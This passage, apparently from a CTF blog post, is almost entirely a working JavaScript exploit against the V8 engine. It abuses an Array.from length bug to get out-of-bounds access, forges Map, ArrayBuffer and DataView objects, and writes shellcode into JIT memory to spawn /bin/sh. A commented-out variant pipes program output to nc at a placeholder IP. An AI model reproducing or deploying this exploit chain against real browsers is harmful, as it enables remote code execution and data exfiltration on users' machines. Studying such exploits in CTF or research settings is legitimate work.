Uint32Array(f64.buffer); function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } var double_arr = [1.1, 2.2, 3.3]; var boxed_arr = [0x13371337, 0xcafe, {}, new Function("eval('')")] // execute /bin/sh var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b] // ./run_me_for_flag| nc [IP] 3434 (shellcode by junorouse) // var shellcode=[0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x101b848,0x1010101,0x48500101,0x353221b8,0x1013532,0x4314801,0xIPb84824,0xIPIPIPIP,0x50IPIPIP,0x6e20b848,0xIPIP2063,0x4850IPIP,0x5f726fb8,0x67616c66,0xb848507c,0x5f6e7572,0x665f656d,0x1b84850,0x1010101,0x50010101,0x6972b848,0x1622c01,0x31482e2f,0xf6312404,0x5e0e6a56,0x56e60148,0x485e136a,0x6a56e601,0x1485e18,0x894856e6,0x6ad231e6,0x50f583b] // unboxed/boxed arrays point same address var unboxed = makeOOB(double_arr); var boxed = makeOOB(boxed_arr); // job [DataView Map Address] var fake_map_obj = [ u2d(0, 0), u2d(0, 0x0d000439), u2d(0, 0), u2d(0, 0), /* Fake ArrayBuffer object */ u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0x43434343, 0x44444444), u2d(0x43434343, 0x44444444), u2d(0, 0), u2d(0, 0), u2d(0, 0), u2d(0, 0), ];//.slice(); boxed[boxed.length-2] = fake_map_obj; fake_map_lo = d2u(unboxed[unboxed.length-2])[0]; fake_map_hi = d2u(unboxed[unboxed.length-2])[1]; fake_map_lo += 0x150-1; // ? console.log("[+] fake_map: 0x" + fake_map_hi.toString(16) + fake_map_lo.toString(16)); var func_obj = Array.prototype.map; boxed[boxed.length-2] = func_obj; func_lo = d2u(unboxed[unboxed.length-2])[0]; func_hi = d2u(unboxed[unboxed.length-2])[1]; console.log("[+] func: 0x" + func_hi.toString(16) + func_lo.toString(16)); // job [DataView Object Address] var fake_dv_obj = [ u2d(fake_map_lo + 1, fake_map_hi), // fake_map u2d(0, 0), u2d(0, 0), u2d(fake_map_lo + 0x20 + 1, fake_map_hi), // fake_arraybuffer u2d(0, 0), u2d(0, 0x4000), // fake_arraybuffer_length ].slice(0); boxed[boxed.length-2] = fake_dv_obj; var fake_dv_lo = d2u(unboxed[unboxed.length-2])[0]; var fake_dv_hi = d2u(unboxed[unboxed.length-2])[1]; fake_dv_lo -= 0x31; console.log("[+] fake_dv: 0x" + fake_dv_hi.toString(16) + fake_dv_lo.toString(16)); unboxed[unboxed.length-2] = u2d(fake_dv_lo + 1, fake_dv_hi); var dv = boxed[boxed.length-2]; fake_map_obj[8] = u2d(func_lo + 6 * 8 - 1, func_hi); let jit_lo = DataView.prototype.getUint32.call(dv, 0, true) + 0x60; let jit_hi = DataView.prototype.getUint32.call(dv, 4, true); console.log("[+] jit: 0x" + jit_hi.toString(16) + jit_lo.toString(16)); fake_map_obj[8] = u2d(jit_lo - 1, jit_hi); for (let k = 0; k < shellcode.length; ++k) { DataView.prototype.setUint32.call(dv, k * 4, shellcode[k], true); } console.log("[*] Execute Shellcode"); func_obj(); function makeOOB(arr) { let maxSize = 1028 * 4; Array.from.call(function() { return arr }, {[Symbol.iterator] : () => ( { counter : 0, next() { let result = this.counter++; if (this.counter > maxSize) { arr.length = 0; return {done: true}; } else { return {value: result, done: false}; } } } ) }); return arr } ```
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.